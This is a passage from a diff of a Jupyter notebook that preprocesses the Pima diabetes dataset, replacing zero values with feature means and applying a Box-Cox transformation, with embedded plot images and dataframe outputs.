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", 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" + ], + "text/plain": [ + " Pregnancies Glucose BloodPressure SkinThickness Insulin BMI \\\n", + "0 6 148.0 72.000000 35.000000 79.799479 33.600000 \n", + "1 1 85.0 66.000000 29.000000 79.799479 26.600000 \n", + "2 8 183.0 64.000000 20.536458 79.799479 23.300000 \n", + "3 1 89.0 66.000000 23.000000 94.000000 28.100000 \n", + "4 0 137.0 40.000000 35.000000 168.000000 43.100000 \n", + "5 5 116.0 74.000000 20.536458 79.799479 25.600000 \n", + "6 3 78.0 50.000000 32.000000 88.000000 31.000000 \n", + "7 10 115.0 69.105469 20.536458 79.799479 35.300000 \n", + "8 2 197.0 70.000000 45.000000 543.000000 30.500000 \n", + "9 8 125.0 96.000000 20.536458 79.799479 31.992578 \n", + "\n", + " DiabetesPedigreeFunction Outcome \n", + "0 0.627 1 \n", + "1 0.351 0 \n", + "2 0.672 1 \n", + "3 0.167 0 \n", + "4 2.288 1 \n", + "5 0.201 0 \n", + "6 0.248 1 \n", + "7 0.134 0 \n", + "8 0.158 1 \n", + "9 0.232 1 " + ] + }, + "execution_count": 11, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "# Making a copy of data and replacing all the 0 from all the features \n", + "# with mean of that particular feature(as boxcox() transformation requires strict positive\n", + "# values neither negative nor 0)\n", + "transformed_df = data.copy()\n", + "for feature in transformed_df.drop([\"Outcome\", \"Pregnancies\"], axis=1):\n", + " transformed_df[feature] = transformed_df[feature].mask(transformed_df[feature] == 0).fillna(transformed_df[feature].mean())\n", + "transformed_df.head(10)" + ] + }, + { + "cell_type": "code", + "execution_count": 12, + "metadata": {}, + "outputs": [ + { + "data": { + "text/html": [ + "
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" + ], + "text/plain": [ + " Pregnancies Glucose BloodPressure SkinThickness Insulin BMI \\\n", + "0 6 6.428897 44.847509 3.776155 2.422353 4.123930 \n", + "1 1 5.552554 41.530105 3.564938 2.422353 3.808150 \n", + "2 8 6.777007 40.415071 3.180785 2.422353 3.631991 \n", + "3 1 5.623444 41.530105 3.306410 2.464626 3.881716 \n", + "4 0 6.304011 26.590348 3.776155 2.598647 4.467784 \n", + "\n", + " DiabetesPedigreeFunction Outcome \n", + "0 -0.474866 1 \n", + "1 -1.088080 0 \n", + "2 -0.403329 1 \n", + "3 -1.912132 0 \n", + "4 0.803134 1 " + ] + }, + "execution_count": 12, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "# Using boxcox() tranformation for transforming data so that the data gets normally distributed\n", + "for feature in transformed_df.drop([\"Pregnancies\", \"Outcome\"], axis=1):\n", + " transformed_df[feature], params = boxcox(transformed_df[feature])\n", + "transformed_df.head()" + ] + }, + { + "cell_type": "code", + "execution_count": 13, + "metadata": {}, + "outputs": [ + { + "data": { + "image/png": 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